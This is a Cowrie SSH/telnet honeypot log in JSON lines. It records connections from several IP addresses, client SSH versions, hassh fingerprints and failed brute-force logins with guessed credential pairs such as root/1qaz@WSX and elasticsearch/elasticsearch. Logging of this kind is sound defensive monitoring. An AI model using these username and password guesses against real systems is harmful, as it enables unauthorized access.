{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:25.142597Z","src_ip":"213.135.168.228","session":"5a7cb960f7c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2029","message":"login attempt [root/2029] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:25.699974Z","src_ip":"213.135.168.228","session":"5a7cb960f7c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37800,"dst_ip":"159.203.135.109","dst_port":22,"session":"e668b596095a","protocol":"ssh","message":"New connection: 176.65.132.129:37800 (159.203.135.109:22) [session: e668b596095a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:25.968660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:25.974109Z","src_ip":"176.65.132.129","session":"e668b596095a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:26.060316Z","src_ip":"176.65.132.129","session":"e668b596095a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:26.308224Z","src_ip":"176.65.132.129","session":"e668b596095a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:26.834670Z","src_ip":"213.135.168.228","session":"5a7cb960f7c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:27.393427Z","src_ip":"176.65.132.129","session":"e668b596095a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37808,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a908d486ede","protocol":"ssh","message":"New connection: 176.65.132.129:37808 (159.203.135.109:22) [session: 5a908d486ede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:29.168441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:29.172773Z","src_ip":"176.65.132.129","session":"5a908d486ede","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:29.254267Z","src_ip":"176.65.132.129","session":"5a908d486ede","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.71.92.229","src_port":57758,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae9ac956a691","protocol":"ssh","message":"New connection: 13.71.92.229:57758 (10.17.0.5:22) [session: ae9ac956a691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:29.403196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:29.409669Z","src_ip":"13.71.92.229","session":"ae9ac956a691","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:29.619244Z","src_ip":"176.65.132.129","session":"5a908d486ede","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:29.626500Z","src_ip":"13.71.92.229","session":"ae9ac956a691","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.49866437911987,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:30.245993Z","src_ip":"152.42.224.71","session":"7e568fb96ef6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"fuckyou","message":"login attempt [root/fuckyou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:30.465314Z","src_ip":"13.71.92.229","session":"ae9ac956a691","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:30.703397Z","src_ip":"176.65.132.129","session":"5a908d486ede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:31.685472Z","src_ip":"13.71.92.229","session":"ae9ac956a691","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37812,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f137a71e740","protocol":"ssh","message":"New connection: 176.65.132.129:37812 (159.203.135.109:22) [session: 0f137a71e740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:32.371687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:32.376411Z","src_ip":"176.65.132.129","session":"0f137a71e740","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:32.457851Z","src_ip":"176.65.132.129","session":"0f137a71e740","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"myuser","message":"login attempt [myuser/myuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:32.704277Z","src_ip":"176.65.132.129","session":"0f137a71e740","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:33.789809Z","src_ip":"176.65.132.129","session":"0f137a71e740","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":115.47349739074707,"message":"Connection lost after 115 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:34.188552Z","src_ip":"152.42.224.71","session":"7f61aa45dede","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.8002724647522,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:35.402319Z","src_ip":"152.42.224.71","session":"53ecc56bcad6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37822,"dst_ip":"159.203.135.109","dst_port":22,"session":"478c619746b2","protocol":"ssh","message":"New connection: 176.65.132.129:37822 (159.203.135.109:22) [session: 478c619746b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:35.648067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:35.713721Z","src_ip":"176.65.132.129","session":"478c619746b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:35.886928Z","src_ip":"176.65.132.129","session":"478c619746b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35822,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc56198810c3","protocol":"telnet","message":"New connection: 152.42.224.71:35822 (10.17.0.5:23) [session: bc56198810c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:35.999708Z"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test1","message":"login attempt [test1/test1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:36.268449Z","src_ip":"176.65.132.129","session":"478c619746b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.32.240.31","src_port":45626,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce7e97ff3a23","protocol":"ssh","message":"New connection: 101.32.240.31:45626 (159.203.135.109:22) [session: ce7e97ff3a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:36.949137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:36.953142Z","src_ip":"101.32.240.31","session":"ce7e97ff3a23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:37.199195Z","src_ip":"101.32.240.31","session":"ce7e97ff3a23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:37.352416Z","src_ip":"176.65.132.129","session":"478c619746b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@0101","message":"login attempt [root/root@0101] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:38.214512Z","src_ip":"101.32.240.31","session":"ce7e97ff3a23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60112,"dst_ip":"159.203.135.109","dst_port":22,"session":"472eaf335eaa","protocol":"ssh","message":"New connection: 176.65.132.129:60112 (159.203.135.109:22) [session: 472eaf335eaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:39.105945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:39.110628Z","src_ip":"176.65.132.129","session":"472eaf335eaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:39.192794Z","src_ip":"176.65.132.129","session":"472eaf335eaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch","message":"login attempt [elasticsearch/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:39.441982Z","src_ip":"176.65.132.129","session":"472eaf335eaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:39.462694Z","src_ip":"101.32.240.31","session":"ce7e97ff3a23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:40.527967Z","src_ip":"176.65.132.129","session":"472eaf335eaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.50233435630798,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:42.216233Z","src_ip":"152.42.224.71","session":"8f60b9d81a51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60136,"dst_ip":"159.203.135.109","dst_port":22,"session":"540e53dd1722","protocol":"ssh","message":"New connection: 176.65.132.129:60136 (159.203.135.109:22) [session: 540e53dd1722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:42.241766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:42.248793Z","src_ip":"176.65.132.129","session":"540e53dd1722","protocol":"ssh"}
